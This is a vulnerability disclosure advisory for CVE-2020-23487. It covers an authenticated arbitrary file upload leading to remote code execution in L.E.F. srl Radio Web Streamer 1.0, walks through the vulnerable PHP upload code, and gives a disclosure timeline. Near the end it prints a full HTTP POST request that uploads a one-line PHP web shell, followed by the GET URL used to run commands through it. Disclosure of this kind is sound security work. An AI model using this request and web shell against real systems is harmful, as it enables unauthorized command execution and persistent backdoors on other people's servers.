L.E.F. srl – Radio Web Streamer – v1.0 – Arbitrary File Upload / Remote Code Execution

Title L.E.F. srl – Radio Web Streamer – v1.0 – Arbitrary File Upload / Remote Code Execution
Discovery date 29/05/2020
Release date 25/02/2021
Credits Francesco Marano
Affected products Radio Web Streamer, version 1.0
Class Unrestricted Upload of File with Dangerous Type, Remote Code Execution

Disclosure timeline

29/05/2020 Request for CVE ID
27/06/2020 Additional info sent to mitre
25/02/2021 CVE-2020-23487 released

Vulnerability details

Arbitrary File Upload in L.E.F. srl Radio Web Streamer 1.0 allows an authenticated attacker to upload arbitrary file on the target system, hence executing arbitrary command by uploading a PHP file.

The application let an authenticated user to upload a firmware update as a zip archive. The workflow for the archive upload is the following:

  • the upload folder (which is /var/www/html/upload) is retrieved from the configuration file stored at /api/LF-AutomaticVersionUpdate/config/XMLVersionUpdate.xml and saved into the $directory variable

  • From /api/LF-AutomaticVersionUpdate/index.php:

40: $res = $objUpload->upload($directory);
  • From /api/LF-AutomaticVersionUpdate/Control/Upload.php:
15:public function upload($directory) {
    16:    //percorso della cartella dove mettere i file caricati dagli utenti
    17:    $uploaddir = $directory;
    [...]
55:    //Recupero il percorso temporaneo del file
    56:    $userfile_tmp = $_FILES['file']['tmp_name'];
        [...]
    61:    //copio il file dalla sua posizione temporanea alla mia cartella upload
    62:    if (move_uploaded_file($userfile_tmp, $uploaddir . $_FILES['file']['name'])) {
    [...]
66:    $response["res"] = true;
    [...]
75:    }
    [...]
78:     return $response;
  • From /api/LF-AutomaticVersionUpdate/index.php:
40: $res = $objUpload->upload($directory);
    41: if ($res["res"] == true) {
    42:     $returnVal=$objMain->configurationXML($res["filename"]);
  • From /api/LF-AutomaticVersionUpdate/Control/Main.php:
18: public function configurationXML($nameFileZip) {
        [...]
27:     $retVal=$obj->verificationDirectory($folder, $directory, $nameFileZip);
    28:     return $retVal;
  • From /api/LF-AutomaticVersionUpdate/Control/UnzipSh.php:
15: public function verificationDirectory($folder, $directory, $fileZip) {
        [...]
21:     $response = $this->unzipFile($folder, $directory, $fileZip);
  • From /api/LF-AutomaticVersionUpdate/Control/UnzipSh.php:
33: public function unzipFile($folder, $directory, $fileZip) {
        [...]
36:     $response["msg"] = "Unzip dell'aggiornamento non andato a buon fine";
        [...]
    38:     $url = $directory . $fileZip;
    [...]
    40:     $zip = new ZipArchive();
    41:     if ($zip->open($url) === TRUE) {
    [...]
71: }
72:
73: return $response;

Since there is no check on file type or file name and given that the file name is chosen by the user and moved into "/var/www/html/upload" folder, the attacker can upload arbitrary file. When during the workflow it reach the "$zip->open()" function it will fails since it is not a zip archive, and the server will give an error message saying "Unzip dell’aggiornamento non andato a buon fine", but the file is not deleted, hence is public accessible at:

http:///upload/

Uploading a PHP file will let an authenticated attacker to create a backdoor on the target system which will be public accessible, even in case of password change by the administrator.

A malicious HTTP POST request to create a web shell on the target is:

POST /api/LF-AutomaticVersionUpdate/index.php HTTP/1.1
Host: <target>
Referer: http://<target>/(homeRouter:uploader)
Content-Type: multipart/form-data; boundary=---------------------------------------9806219841298048758213218907645
Authorization: Bearer *REDACTED*
Content-Length: 254

---------------------------------------9806219841298048758213218907645
Content-Disposition: form-data; name="file"; filename="backdoor.php"
Content-Type: application/x-php
<?php system($_GET["c"]); ?>

---------------------------------------9806219841298048758213218907645--

The response page will contain the following JSON:

{"res":false, "msg":"Unzip dell'aggiornamento non andato a buon fine"}

From now on, an attacker can run arbitrary commands on the target machine
by just sending HTTP GET requests from a browser visiting the following link:

http:///upload/backdoor.php?c=

where <command> can be any non-interactive OS command.